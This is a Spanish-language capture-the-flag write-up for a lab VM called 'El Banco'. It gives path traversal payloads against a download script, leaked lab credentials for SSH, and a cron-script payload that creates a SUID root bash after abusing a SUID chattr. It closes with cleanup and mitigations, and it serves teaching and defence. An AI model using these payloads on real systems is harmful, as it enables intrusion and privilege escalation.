Banco
Máquina: The Hackers Labs — El Banco
SO: Debian (detectado por VirtualBox al importar el
OVA) Vector de entrada: LFI (Local File Inclusion /
Path Traversal) en descargar.php → filtración de
credenciales → SSH Escalada de privilegios: cron de
root ejecutando cada minuto un script mundialmente escribible
(/usr/local/bin/backup.sh), protegido con el atributo
immutable de ext4 pero anulable porque chattr
está con el bit SUID activo Herramientas principales:
VirtualBox (virtualización), arp-scan/nmap (reconocimiento),
whatweb/gobuster (enumeración web), curl (explotación manual del LFI),
sshpass/ssh (foothold), chattr/lsattr (abuso de SUID para la escalada),
pandoc+weasyprint (generación del PDF).
Resumen de flags
| Flag | Valor | Obtenida en |
|---|---|---|
user.txt |
████████████ |
SSH como wvverez (Fase 3) |
root.txt |
████████████ |
SUID shell vía cron root + script escribible (Fase 4) |
Glosario rápido
- LFI (Local File Inclusion) / Path Traversal:
vulnerabilidad donde una aplicación web arma una ruta de archivo usando
algo que envía el usuario, sin validar que esa ruta se quede dentro de
la carpeta esperada. Permite “escapar” con secuencias
../y leer archivos arbitrarios del sistema. - Host-only (VirtualBox): red virtual que solo existe entre el equipo físico (host) y sus máquinas virtuales — no sale a Internet. Sirve para tener un laboratorio aislado donde atacante (Kali) y víctima (la VM del reto) se ven entre sí sin exponer nada al exterior.
- DHCP / lease: mecanismo por el que un equipo pide una IP “prestada” automáticamente a un servidor de la red (en vez de configurarla a mano). Un lease puede renovarse y, al hacerlo, a veces cambia de IP — por eso la IP de Banco cambió a mitad de la sesión.
- SUID (
sen los permisos): bit especial que hace que un ejecutable corra con los permisos de su dueño, no de quien lo ejecuta. Si el dueño es root, cualquier usuario que ejecute ese binario obtiene, mientras dura la ejecución, privilegios de root para lo que ese programa haga. - Atributo
immutable(chattr +i/ visible conlsattr): un atributo extendido de sistemas de archivos tipo ext4, aparte de los permisos normales (rwx). Coniactivo, ni siquiera root puede modificar o borrar el archivo sin quitar el atributo primero. - Cron: el “programador de tareas” de Linux — ejecuta comandos automáticamente a intervalos definidos. Si una tarea de cron corre como root y apunta a un archivo que un usuario sin privilegios puede editar, ese usuario controla indirectamente lo que hace root.
- Sticky bit (visible como la
tal final de los permisos de un directorio, ej. en/tmp): dentro de un directorio con ese bit, cada usuario solo puede borrar/renombrar los archivos de los que es dueño, aunque el directorio sea escribible por todos. - CWE (Common Weakness Enumeration): catálogo que clasifica tipos o clases de vulnerabilidades (ej. “CWE-22 Path Traversal”), a diferencia de un CVE, que identifica una vulnerabilidad concreta en un producto y versión específicos.
Herramientas necesarias
- VirtualBox /
VBoxManage: hipervisor con el que se importa y controla la máquina virtual (.ova) descargada de TheHackersLabs, desde la terminal en vez de la interfaz gráfica. arp-scan: envía peticiones ARP a toda una subred para descubrir qué direcciones IP están activas — útil cuando la VM está en una red aislada (host-only) y no tenemos su IP de antemano.nmap: escáner de puertos y servicios; permite ver qué está expuesto en la máquina objetivo (versiones de software, puertos abiertos, etc.).whatweb: identifica tecnologías de una web (servidor, frameworks) a partir de cabeceras y contenido — un primer vistazo rápido antes de enumerar a fondo.gobuster: fuerza bruta de rutas/directorios web contra una wordlist, para encontrar páginas no enlazadas desde el sitio.curl: cliente HTTP de línea de comandos — se usó para simular manualmente el envío del formulario de descarga y explotar el LFI sin depender del navegador.sshpass+ssh: para probar y usar credenciales por SSH sin que el prompt interactivo de contraseña bloquee la automatización.chattr/lsattr: utilidades para gestionar (y consultar) atributos extendidos de archivos comoimmutable. En esta máquina son SUID por error de configuración, lo que fue justamente la llave de la escalada.pandoc+weasyprint: para generar el PDF gemelo de este writeup a partir del Markdown.
Nota: se había planeado usar también Penelope (manejador de shells reversas) y Raptor (framework de análisis de seguridad) — quedan documentadas como herramientas disponibles en el laboratorio, pero no hicieron falta en esta máquina: el acceso inicial fue directo por SSH con credenciales filtradas (no se necesitó una shell reversa), y no hubo binarios ni código fuente lo bastante complejos como para justificar un análisis automatizado — todo se resolvió leyendo el PHP filtrado por el propio LFI.
Fase 0 — Preparación del laboratorio
Se descargó el .ova oficial de TheHackersLabs
(comprimido en un .zip) y se dejó en la carpeta del
proyecto.
# Descomprimir el ova
unzip "The Hackers Labs - elbanco -dadasda.zip"
# Inspeccionar la appliance antes de importar (no cambia nada, solo muestra qué se va a crear)
VBoxManage import "The Hackers Labs - El Banco.ova" --dry-run--dry-run le pide a VirtualBox que lea el archivo
.ova (un contenedor OVF + disco virtual) y muestre qué
máquina virtual crearía, sin crearla todavía. Esto mostró: 1 CPU, 2048
MB de RAM, disco de 20 GB, tipo de SO sugerido Debian_64, y una tarjeta
de red en modo NAT por defecto.
# Importar de verdad
VBoxManage import "The Hackers Labs - El Banco.ova"Por defecto la tarjeta de red queda en modo NAT, que da salida a Internet a la VM pero la esconde detrás del propio host — no se puede llegar a ella directamente desde Kali. Para el laboratorio se necesita que la VM y el atacante (Kali) estén en la misma red aislada, así que se cambia a una red host-only (una red virtual que solo existe entre el host y sus VMs, sin salir a Internet):
VBoxManage modifyvm "The Hackers Labs - El Banco" --nic1 hostonly --hostonlyadapter1 vboxnet0vboxnet0 es el adaptador host-only que ya existe en este
equipo (rango 192.168.56.0/24, con el host en
192.168.56.1) — el mismo que se usó en las máquinas
anteriores del laboratorio.
Se enciende la VM en modo headless (sin ventana gráfica, corre en segundo plano — se administra todo por SSH/consola desde Kali):
VBoxManage startvm "The Hackers Labs - El Banco" --type headlessPara reproducir desde cero, con la VM apagada:
VBoxManage controlvm "The Hackers Labs - El Banco" poweroff
VBoxManage startvm "The Hackers Labs - El Banco" --type headlessFase 1 — Reconocimiento de red
La VM está en la red host-only vboxnet0
(192.168.56.0/24), pero no sabemos qué IP le tocó (puede
ser estática o por DHCP). Para descubrirla se usa arp-scan,
que manda peticiones ARP (“¿quién tiene esta IP?”) a todas las
direcciones posibles de la subred y anota quién responde — más rápido y
fiable que un ping sweep porque trabaja a nivel de capa 2 (Ethernet),
sin depender de que el objetivo responda a ICMP:
sudo arp-scan --interface=vboxnet0 --localnetResultado relevante:
192.168.56.112 08:00:27:e8:1e:af PCS Systemtechnik GmbH
Ese MAC coincide con el que VirtualBox le asignó a la VM
(VBoxManage showvminfo "The Hackers Labs - El Banco" --machinereadable | grep macaddress1
→ 080027E81EAF), así que confirmamos: Banco está en
192.168.56.112.
Nota: en el mismo escaneo aparecen otras IPs (
192.168.56.100= el propio servidor DHCP de VirtualBox paravboxnet0,192.168.56.110y.111= otras VMs del laboratorio que no tienen relación con este reto). Se documenta para que quien reproduzca esto no se confunda si su red host-only tiene otras máquinas encendidas.
Con la IP confirmada, escaneo de puertos y versión de servicios con
nmap:
nmap -sC -sV -p- --min-rate 2000 -oN loot/nmap-full.txt 192.168.56.112-sC: corre el set de scripts NSE por defecto (banners, info básica de cada servicio).-sV: intenta detectar la versión exacta del software que corre en cada puerto.-p-: escanea los 65535 puertos TCP (no solo los “top 1000” por defecto), para no perderse nada.--min-rate 2000: fuerza a nmap a mandar al menos 2000 paquetes/seg, para que el escaneo completo de puertos no tarde una eternidad en una red local.-oN loot/nmap-full.txt: guarda la salida en texto plano en la carpetaloot/del proyecto, para tener evidencia y no repetir el escaneo.
Resultado:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-title: Banco de España | Portal Corporativo
Dos puertos abiertos: 22 (SSH) y 80 (HTTP, Apache), con el título de página “Banco de España | Portal Corporativo” — típico de una máquina cuyo vector de entrada probablemente pasa por la aplicación web del puerto 80. SSH normalmente no es el punto de entrada directo (salvo credenciales débiles o filtradas), así que el siguiente paso es inspeccionar la web.
Fase 2 — Enumeración web
Nota sobre la IP: en algún momento entre la Fase 1 y esta fase, la VM renovó su lease DHCP y cambió de
192.168.56.112a192.168.56.103(mismo MAC08:00:27:e8:1e:af). Si al reproducir esto la IP no responde, volver a correrarp-scan --interface=vboxnet0 --localnety confirmar el MAC antes de seguir — no asumir que la IP se mantiene fija entre sesiones.
2.1 — whatweb y vistazo
general
whatweb http://192.168.56.103whatweb identifica tecnologías de una web (servidor,
frameworks, generadores) leyendo cabeceras y contenido. Confirma Apache
2.4.66 sobre Debian, HTML5, y detecta un PasswordField (un
formulario de login en la página).
2.2 — Descubrimiento de
rutas con gobuster
gobuster dir -u http://192.168.56.103 -w /usr/share/wordlists/dirb/common.txt -qgobuster dir prueba a pedir, uno por uno, cada palabra
de una wordlist como si fuera una ruta (/admin,
/backup, etc.) y anota con qué código HTTP responde el
servidor — así se descubren rutas que no están enlazadas desde la página
principal. -w indica el diccionario a usar
(common.txt, incluido en Kali). No apareció nada fuera de
lo esperado (javascript/, páginas .ht*
bloqueadas por Apache).
2.3 — Revisando el código fuente de la página (login falso)
Al mirar el HTML/JS de index.html con curl
+ grep, aparece algo importante: la pantalla de login que
se ve al entrar a la web no es real — es una capa
(<div id="loginOverlay">) puesta encima del
contenido, y la validación se hace enteramente en JavaScript, en el
propio navegador:
let currentPassword = 'DNASdada11THL';
function doLogin() {
const user = ...
const pass = document.getElementById('password').value;
if (user === 'admin' && pass === currentPassword) {
document.getElementById('loginOverlay').style.display = 'none';
...Esto es una vulnerabilidad clásica de “autenticación del lado
del cliente” (CWE-602): como toda la lógica de “¿la contraseña
es correcta?” corre en el navegador del propio atacante, este puede leer
la contraseña directamente en el código fuente (Ctrl+U o
curl), o simplemente abrir las herramientas de
desarrollador y ejecutar
document.getElementById('loginOverlay').style.display='none'
para saltarse la pantalla sin ni siquiera saber la contraseña — el
contenido de la página ya estaba cargado por debajo. Se documenta como
hallazgo, pero no es el vector de entrada real de esta
máquina (no da acceso al sistema, solo oculta contenido que ya era
público).
2.4 — El
formulario de descarga de informes (descargar.php)
Más abajo en la página hay un formulario legítimo:
<form id="pdfForm" method="POST" action="descargar.php" target="_blank">
<input type="hidden" name="archivo" value="sobrenosotros.pdf">
<button>Descargar Informe (PDF)</button>
</form>Manda por POST un parámetro archivo con
el nombre del PDF a descargar. Cuando una aplicación web arma una ruta
de archivo a partir de algo que envía el usuario, hay que sospechar de
Path Traversal / LFI (Local File Inclusion): si el
servidor no valida el valor, se puede reemplazar el nombre de archivo
esperado por una ruta como ../../../../etc/passwd para
“escapar” de la carpeta donde deberían estar los PDFs y leer cualquier
archivo del sistema al que tenga permiso el usuario que corre el
servidor web (www-data).
Prueba manual con curl (simula el envío del formulario
sin usar el navegador):
curl -s -d "archivo=sobrenosotros.pdf" http://192.168.56.103/descargar.php # descarga normal, funciona
curl -s -d "archivo=../../../etc/passwd" http://192.168.56.103/descargar.php # con 3 "../" no alcanza a salir
curl -s -d "archivo=../../../../etc/passwd" http://192.168.56.103/descargar.php # con 4 "../" SÍ funcionaEl propio servidor, en modo debug, confirma la ruta real que arma
internamente cuando falla
(/var/www/html/informes/../../../etc/passwd con 3 niveles
no alcanza a llegar a la raíz) — con 4 niveles de
../ sí se sale de /var/www/html/informes/
hasta /, y se puede leer cualquier archivo legible por
www-data:
root:x:0:0:root:/root:/bin/bash
...
wvverez:x:1001:1001:wvverez,,,:/home/wvverez:/bin/bash
Solo hay un usuario real en el sistema aparte de
root: wvverez — dato clave
para las fases siguientes.
Como el LFI también permite leer el propio código fuente del sitio
(PHP se sirve como texto plano cuando se lee así, en vez de ejecutarse,
porque descargar.php solo hace
file_get_contents() y lo imprime), se leyó el propio
descargar.php para confirmar el bug de raíz y buscar más
pistas:
curl -s -d "archivo=../descargar.php" http://192.168.56.103/descargar.phpEl código confirma que es una vulnerabilidad
intencional (el propio autor la comenta en el código:
“Vulnerabilidad LFI intencionada: No se valida ni se sanitiza la
entrada del usuario”), y que la única comprobación es
file_exists() — no filtra ../, no restringe a
una lista blanca, no comprueba que la ruta final siga dentro de
informes/.
Tirando del hilo, se leyó también ../config.php (el
archivo que suele acompañar a un script como este):
curl -s -d "archivo=../config.php" http://192.168.56.103/descargar.phpQue reveló una constante DB_FILE apuntando a
dbsuperscretinfact.json en la misma carpeta — una “base de
datos” en texto plano. Se leyó también con el mismo LFI:
curl -s -d "archivo=../dbsuperscretinfact.json" http://192.168.56.103/descargar.phpEse JSON contiene una lista de 12 “usuarios” con contraseñas —
la mayoría son señuelos (usuarios como
admin, root, debian,
juan.perez, etc. que no existen como
cuentas reales del sistema operativo, según el /etc/passwd
leído antes). El único registro que sí corresponde a una cuenta real del
sistema es el de wvverez, con contraseña
dasjbdaDASJDASDA11E1DAJDQA (el campo ssh_key
que también trae ese registro es en cambio una pista falsa: no existe
ningún id_rsa en esa ruta).
Fase 3 — Punto
de apoyo (foothold): SSH como wvverez
Con el único usuario real del sistema (wvverez) y la
única contraseña del JSON que le corresponde, se prueba login por SSH
(puerto 22, visto en la Fase 1):
sshpass -p 'dasjbdaDASJDASDA11E1DAJDQA' ssh [email protected]sshpass permite pasarle la contraseña a ssh
sin que pida el prompt interactivo (útil para probar credenciales por
script; en uso manual normal simplemente se escribe la contraseña cuando
la pide). Login exitoso:
whoami → wvverez
hostname → TheHackersLabs-Banco
user.txt en el home del usuario:
cat ~/user.txt████████████
Causa raíz de esta fase: un LFI sin ninguna validación de ruta en un script de descarga de PDFs, que termina filtrando un archivo de “base de datos” en texto plano con credenciales reales mezcladas entre señuelos.
Fase 4 — Escalada de privilegios
4.1 — Enumeración de vectores de privesc
Con shell como wvverez, se revisan sistemáticamente los
vectores clásicos de escalada en Linux:
sudo -l: pide contraseña, no la tenemos → descartado por ahora.- Binarios SUID
(
find / -perm -4000 -type f 2>/dev/null): el bit SUID hace que un ejecutable corra con los permisos de su dueño (no de quien lo ejecuta) — normalmente se usa para programas puntuales que necesitan privilegios de root para una tarea concreta (ej.passwdnecesita escribir en/etc/shadow). La lista encontrada es mayormente estándar de Debian, excepto dos que llaman la atención:/usr/bin/chattry/usr/bin/lsattrcon SUID — esto NO es normal en una instalación de Debian por defecto, es una pista puesta a propósito. - Cron:
/etc/crontabsolo tiene las tareas estándar del sistema (run-partshorario/diario/semanal/mensual). No hay pistas ahí directamente. - Archivos con permisos de escritura para “otros”
(
world-writable) en todo el sistema (find / -perm -0002 -type f): aparece un único resultado fuera de lo normal:/usr/local/bin/backup.sh, propiedad derootpero con permisos-rwxrwxrwx(cualquier usuario del sistema puede editarlo).
4.2 —
backup.sh: cron de root + script escribible por todos
Se lee el contenido del script:
cat /usr/local/bin/backup.sh#!/bin/bash
# backup.sh - Script para respaldar db.json
BACKUP_DIR="/var/backups"
SOURCE_FILE="/var/www/html/db.json"
DEST_FILE="$BACKUP_DIR/db_backup_$(date +'%Y%m%d_%H%M%S').json"
LOG_FILE="/var/log/backup.log"
mkdir -p "$BACKUP_DIR"
cp "$SOURCE_FILE" "$DEST_FILE" 2>/dev/null
echo "$(date) - Backup creado: $DEST_FILE" >> "$LOG_FILE"
ls -t $BACKUP_DIR/db_backup_*.json 2>/dev/null | tail -n +11 | xargs rm -f 2>/dev/nullY se confirma que se está ejecutando activamente revisando su propio log:
cat /var/log/backup.logEl log tiene una entrada nueva cada 60 segundos, con
la hora del sistema pisándole los talones a la última línea — es decir,
hay algo (con toda seguridad un cron job propio de
root, guardado en /var/spool/cron/crontabs/root,
que como usuario normal no podemos leer — pero no hace falta leerlo: el
comportamiento observable ya lo confirma) que ejecuta este script
como root, una vez por minuto.
Esta combinación es la vulnerabilidad clásica de “cron job + script escribible”: si un proceso que corre como root ejecuta periódicamente un archivo que un usuario sin privilegios puede modificar, ese usuario puede escribir ahí lo que quiera y esperar a que root lo ejecute por él.
4.3 — El obstáculo: atributo
immutable
Al intentar añadir una línea al script:
echo 'algo' >> /usr/local/bin/backup.shel sistema responde Operación no permitida, a pesar de
que los permisos (rwxrwxrwx) sí lo permitirían. Esto pasa
porque en sistemas de archivos tipo ext4 existen atributos
extendidos además de los permisos normales — uno de ellos es
immutable (i): ni siquiera
root puede modificar o borrar un archivo con ese atributo activo sin
quitarlo primero explícitamente. Se confirma con:
lsattr /usr/local/bin/backup.sh----i---------e------- /usr/local/bin/backup.sh
La i en esa posición es justamente el atributo
immutable.
Normalmente, para quitar ese atributo hace falta ser root
(chattr -i archivo). Pero recordemos la pista de la Fase
4.1: /usr/bin/chattr tiene el bit SUID
activo — es decir, cuando wvverez ejecuta
chattr, el propio binario corre con privilegios de root,
así que sí puede quitar el atributo immutable de un
archivo aunque wvverez no sea root:
chattr -ia /usr/local/bin/backup.sh
lsattr /usr/local/bin/backup.sh # ya no muestra la "i"4.4 — Payload y escalada
Con el atributo quitado, ahora sí se puede escribir en el script. Se añade al final (sin borrar el contenido original, para no romper nada de lo que hace la máquina):
printf '\n# --- payload de privesc CTF ---\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' >> /usr/local/bin/backup.shEsto hace que, la próxima vez que el cron de root ejecute
backup.sh, además de la copia de seguridad se copie
/bin/bash a /tmp/rootbash y se le ponga el
bit SUID (chmod 4755 — el 4
inicial en octal activa SUID) — el mismo truco que usó la máquina contra
nosotros con chattr, pero ahora aplicado por nosotros a una
bash.
Se espera a que el cron dispare (máximo 60 segundos) y se confirma:
ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1265648 ago 31 13:50 /tmp/rootbashLa s en el permiso de dueño (en vez de x)
confirma que el SUID quedó activo, y el dueño es root.
Ejecutando esa bash con -p (le dice a bash que
no baje sus propios privilegios al arrancar, algo que
bash hace por defecto al detectar que el UID real y el UID efectivo son
distintos, precisamente para evitar este tipo de truco — con
-p se lo desactivamos) obtenemos una shell con EUID
0 (root):
/tmp/rootbash -p -c 'id; cat /root/root.txt'uid=1001(wvverez) gid=1001(wvverez) euid=0(root) grupos=1001(wvverez),100(users)
████████████
Causa raíz de esta fase: un script ejecutado
periódicamente por root con permisos de escritura para cualquier usuario
(el immutable era la única barrera real, y esa barrera se
rompió porque chattr/lsattr tenían SUID sin
necesitarlo).
4.5 — Limpieza
Antes de cerrar, se revierte todo lo tocado para dejar la máquina
como estaba (buena práctica en cualquier auditoría real, y necesario
aquí porque backup.sh sigue corriendo cada minuto). El
primer intento falló en dos puntos, y se documenta el
error porque es instructivo:
sed -i '/payload de privesc CTF/,$d' /usr/local/bin/backup.sh # FALLA
rm -f /tmp/rootbash # FALLAsed -iinternamente crea un archivo temporal en el mismo directorio (/usr/local/bin/) y luego lo renombra — y ese directorio pertenece a root con permisos normales (no 777 como el archivo suelto), así quewvverezno puede crear nada ahí. Error: “no se puede abrir el fichero temporal… Permiso denegado”.rm -f /tmp/rootbashfalla porque/tmptiene el sticky bit activado (comportamiento estándar en Linux): dentro de un directorio con sticky bit, un usuario solo puede borrar archivos de los que es dueño (o ser root) — y/tmp/rootbashquedó con dueñoroot, aunquewvverezlo haya creado indirectamente a través del cron. Error: “Operación no permitida”.
La solución fue usar la propia shell de root que ya teníamos
(/tmp/rootbash -p) para hacer la limpieza, ya que como root
ninguno de esos dos obstáculos aplica. Para evitar problemas de escapado
de comillas al reescribir el script por varias capas de shell (SSH →
bash -c → heredoc), se generó el contenido original
localmente y se transmitió codificado en base64 (así el
contenido viaja como una sola línea de texto sin caracteres especiales
que puedan romperse por el camino):
# 1) quitar el immutable con el chattr SUID (esto sí funciona como wvverez)
chattr -i /usr/local/bin/backup.sh
# 2) escribir el contenido ORIGINAL del script (codificado en base64 para evitar
# problemas de escapado) y devolver el atributo immutable
echo '<contenido-original-en-base64>' | base64 -d > /usr/local/bin/backup.sh
chattr +i /usr/local/bin/backup.sh
# 3) borrar el rootbash usando la propia shell de root (evita el problema del sticky bit)
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'Verificación final: contenido idéntico al original (diff
sin salida), permisos -rwxrwxrwx intactos, atributo
----i---- restaurado, y /tmp/rootbash ya no
existe. La máquina queda exactamente como estaba antes de la
intrusión.
Fase 5 — Cadena de ataque (resumen)
[Kali/atacante]
│ arp-scan + nmap -sC -sV -p-
▼
192.168.56.x — Apache 2.4.66 + OpenSSH 9.2p1 (Debian 12)
│
│ descargar.php?archivo=../../../../etc/passwd (LFI / Path Traversal, sin auth)
▼
filtra /etc/passwd (usuario real: wvverez)
│ descargar.php?archivo=../dbsuperscretinfact.json (mismo LFI)
▼
filtra credenciales (mezcladas con señuelos) → contraseña real de wvverez
│ ssh wvverez@<IP>
▼
FOOTHOLD como wvverez → user.txt
│ enumeración privesc: find world-writable + find SUID
▼
/usr/local/bin/backup.sh (777, root, cron cada 60s) protegido con chattr +i
│ chattr -i (abusando SUID de /usr/bin/chattr)
▼
escribir payload en backup.sh → cron root lo ejecuta → /tmp/rootbash SUID
│ /tmp/rootbash -p
▼
ROOT → root.txt
Causas raíz y mitigación
| # | Causa raíz | Dónde | Mitigación |
|---|---|---|---|
| 1 | Falta de validación/sanitización de una ruta de archivo construida con entrada del usuario | descargar.php (parámetro archivo) |
Nunca concatenar entrada de usuario a una ruta de archivo. Usar una
lista blanca de nombres permitidos, o un identificador (ej. un ID
numérico) que se traduzca a una ruta fija en el servidor — nunca el
nombre/ruta directamente. Funciones como basename() +
comprobar que la ruta resultante sigue dentro del directorio base
(realpath() + strpos) son el mínimo. |
| 2 | Credenciales reales guardadas en texto plano junto a señuelos, accesibles por un archivo que además es legible por el propio servidor web | dbsuperscretinfact.json |
No guardar contraseñas en texto plano nunca — usar hashes (bcrypt/argon2). No guardar credenciales dentro del webroot servible por Apache. |
| 3 | “Autenticación” resuelta enteramente en JavaScript del lado del cliente | pantalla de login superpuesta en index.html |
Toda decisión de autorización/autenticación debe validarse en el servidor. El cliente nunca es de confianza. |
| 4 | Script ejecutado por un cron de root con permisos de escritura para cualquier usuario del sistema | /usr/local/bin/backup.sh |
Scripts invocados por tareas privilegiadas deben pertenecer a root y
no ser escribibles por nadie más (chmod 700, dueño root).
Auditar periódicamente permisos de todo lo que ejecuta cron/systemd como
root. |
| 5 | Bit SUID activado en utilidades que no lo necesitan
(chattr, lsattr) |
/usr/bin/chattr, /usr/bin/lsattr |
Nunca poner SUID a una herramienta administrativa genérica salvo
necesidad estrictamente justificada; revisar
find / -perm -4000 como parte de un hardening periódico y
quitar SUID de todo lo que no lo requiera explícitamente. |
«El pájaro lucha para salir del huevo. El huevo es el mundo. Quien quiera nacer, tiene que destruir un mundo.»
— Hermann Hesse, Demian